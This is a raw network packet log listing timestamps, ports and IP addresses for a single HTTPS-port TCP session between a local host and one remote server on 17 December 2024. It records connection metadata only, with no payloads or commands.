Dec 17, 2024 12:13:42.781730890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.781754017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.781785011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.781805038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.781821012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.781874895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.883718014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883790970 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.883815050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883826971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883882046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883888960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.883888960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.883903980 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883927107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.883953094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.883953094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.904161930 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.904171944 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.904189110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.904227972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.904227972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.904264927 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.904299021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.923095942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.923178911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.923192024 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.923208952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.923234940 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.923245907 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.923254013 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.923259020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.923296928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.939532995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.939541101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.939588070 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.939610958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.939625025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.939699888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.958708048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.958755016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.958826065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.958841085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.958971977 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.977874994 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.977895975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.977968931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:42.977982998 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:42.978075981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.062346935 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.062366009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.062527895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.062546968 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076283932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076292038 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076349020 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076386929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076389074 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.076411963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076441050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076453924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.076463938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.076463938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.076463938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.076607943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.089159966 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.089178085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.089220047 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.089266062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.089282036 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.089378119 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.101277113 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.101321936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.101362944 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.101416111 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.101437092 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.101516962 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.111289978 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.111309052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.111380100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.111396074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.111427069 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.121980906 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.121994019 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.122136116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.122150898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.133349895 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.133367062 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.133476973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.133476973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.133501053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.144431114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.144444942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.144546032 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.144566059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.144587994 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.257054090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.257072926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.257195950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.257195950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.257214069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263753891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263762951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263828993 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263837099 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.263878107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263902903 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263936043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263947010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.263955116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.263955116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.263955116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.263986111 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.271425962 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.271434069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.271480083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.271502972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.271513939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.271564960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.278917074 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.278935909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.279005051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.279015064 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.285909891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.285924911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.285979033 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.285993099 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.286029100 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.293513060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.293530941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.293579102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.293598890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.299896002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.299911022 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.299990892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.299990892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.300003052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.307538033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.307557106 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.307605982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.307615995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.307643890 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.308343887 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.448170900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.448198080 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.448304892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.448304892 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.448323011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.448713064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.455631971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.455646992 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.455786943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.455801010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.456851006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.461998940 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.462017059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.462110996 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.462124109 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.462270021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.469465017 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.469481945 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.469585896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.469602108 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.469650984 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.476368904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.476385117 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.476550102 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.476562977 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.476728916 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.483761072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.483777046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.483851910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.483864069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.483910084 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.483910084 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.491175890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.491192102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.491251945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.491262913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.491321087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.497595072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.497610092 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.497730017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.497740030 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.497781038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.640520096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.640547991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.640893936 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.640907049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.641443968 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.648144007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.648175001 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.648221970 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.648233891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.648262024 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.648329020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.654459000 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.654483080 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.654534101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.654540062 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.654572964 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.654618025 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.661753893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.661778927 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.661823034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.661829948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.661870003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.661958933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.668771029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.668797016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.668946981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.668952942 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.669123888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.676115990 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.676141977 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.676187992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.676193953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.676239014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.676271915 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.683506012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.683525085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.683603048 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.683608055 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.683650017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.690025091 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.690043926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.690104008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.690115929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.690165043 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.832742929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.832766056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.832850933 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.833005905 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.833019018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.833105087 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.840354919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.840384007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.840428114 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.840454102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.840496063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.840496063 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.846725941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.846744061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.846820116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.846829891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.846868038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.846903086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.854088068 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.854104042 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.854203939 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.854213953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.854331017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.861109972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.861135006 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.861231089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.861231089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.861241102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.861388922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.868390083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.868408918 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.868467093 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.868478060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.868508101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.868521929 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.875777006 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.875794888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.875839949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.875864983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.875905037 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.875945091 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.882153034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.882169008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.882266045 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:43.882277012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:43.882388115 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.024640083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.024666071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.024765015 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.024780989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.024818897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.024818897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.031929016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.031941891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.032030106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.032044888 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.032100916 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.039305925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.039324045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.039397955 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.039407015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.039510965 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.045923948 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.045938015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.046005011 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.046024084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.046183109 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.053917885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.053934097 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.054011106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.054011106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.054020882 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.054075003 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.060869932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.060884953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.060976982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.060988903 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.061108112 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.067542076 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.067557096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.067672014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.067684889 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.067730904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.074918985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.074939013 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.075083971 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.075095892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.075145006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.076301098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.217065096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.217092037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.217185020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.217200041 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.217288971 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.224515915 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.224534988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.224597931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.224611044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.224626064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.224651098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.230890989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.230906963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.231031895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.231045008 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.231113911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.238426924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.238461018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.238504887 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.238513947 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:13:44.238554955 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:13:44.238554955 CET	49866	443	192.168.2.6	162.125.65.15
